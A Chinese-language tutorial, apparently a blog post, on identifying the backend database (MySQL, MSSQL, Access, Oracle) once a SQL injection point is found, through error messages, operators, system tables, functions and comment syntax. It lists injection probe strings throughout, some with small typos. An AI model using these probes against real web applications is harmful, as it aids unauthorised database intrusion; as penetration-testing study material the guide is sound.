Bootstrap

SQL注入之判断数据库类型

在发现存在SQL注入后,就得首先判断是哪一种数据库。网上虽然也有如何判断数据库类型的相关文章,但是每一篇单独来讲都不全面。于是本文就分别总结了MySQL、MSSQL、Access、Oracle数据库的判断方法,如果有什么遗漏或者错误的地方,请联系我更正(首次投稿,大佬轻喷)。

判断MySQL数据库

  1. 通过报错信息

you have an error in your SQL syntax,check the manual that corrsponds to your mysql server version for the tifht syntax to use near ” at line x

  1. 通过连接符判断

‘1’+’1′ = ’11’ (mssql也支持,需要用第二句)

concat(‘1′,’1′) = ’11’

‘adm’ ‘in’ = ‘admin’(空格就等同于+)

  1. 通过特有数据表判断

and (select count(*) from information_schema.TABLES)>0

  1. 通过length和char函数判断

同时支持length()和char()。len应该也可以。
and len(‘a’)=1 (返回正常,MySQL或mssql)

  1. 通过BENCHMARK函数判断

select BENCHMARK(100000,MD5(‘ADMIN’))

  1. 通过@@version和version()判断

同时支持@@version和version(),如果version()报错就是mssql。

  1. 通过注释符/*判断

如果/**/返回错误,说明不是MySQL。

判断MSSQL数据库

  1. 通过报错信息

Msg 170,level 15, State 1,Line 1

Line 1:Incorrect syntax near ‘foo

Msg 105,level 15,state 1,Line 1

Unclose quotation mark before the character string ‘foo

或者:

Microsoft ODBC Database Engine 错误
2. 通过连接符判断

‘1’+‘1’ = ‘11’ (MySql也支持)
3. 通过特有数据表判断

and (select count(*) from sysobjects)>0 (返回正常)

and (select count(*) from msysobjects)>0 (返回错误)
4. 通过默认变量SERVERNAME判断

select @@SERVERNAMW

?id=0/@@SERVERNAME (可能会触发错误报错)
5. 通过len函数判断

and len(‘a’)=1

返回正常,可能是mssql,mysql,db2.

  1. 通过@@version和version()判断

@@version不报错,version()报错。
7. 通过substring函数判断

substring(‘abc’,1,1)=a

返回正常,可能是mssql。Oracle只能用substr。

  1. 通过注释符–判断

使用–返回正常,说明是mssql或者oracle。

;-- (返回正常,mssql; 错误,基本就是Access)
9. 通过sysobjects判断

判断Access数据库

  1. 通过报错信息

Microsoft JET Database Engine错误 ‘80040e14’
2. 通过特有数据表判断

and (select count(*) from msysobjects)>0

具体看上面MSSQL的图。

  1. 通过len和chr函数判断

同时支持len()和chr(),且不支持length()和char()
4. 通过注释符;–判断

使用;–,返回错误,基本可以肯定是Access。
判断Oracle数据库

  1. 通过报错信息判断

ORA-01756:quoted string not properly terminated

ORA-00933:SQLcommand not properly ended

  1. 通过连接符判断

‘1’||’1’=’11’

concat(‘1′,’1′)=’11’

  1. 通过特有数据表判断

and (select count(*) from sys.user_tables)>0

  1. 通过length函数判断

可以使用length,不能使用len.

len(‘a’)=1 (报错)
5. 通过substr函数判断

只能使用substr,不能用substring。

其它数据库


可根据使用相应数据库的注入语句一个个测试。如:Postgre的pg_sleep(5), sqlite的sqlite_version()等。

原链接

;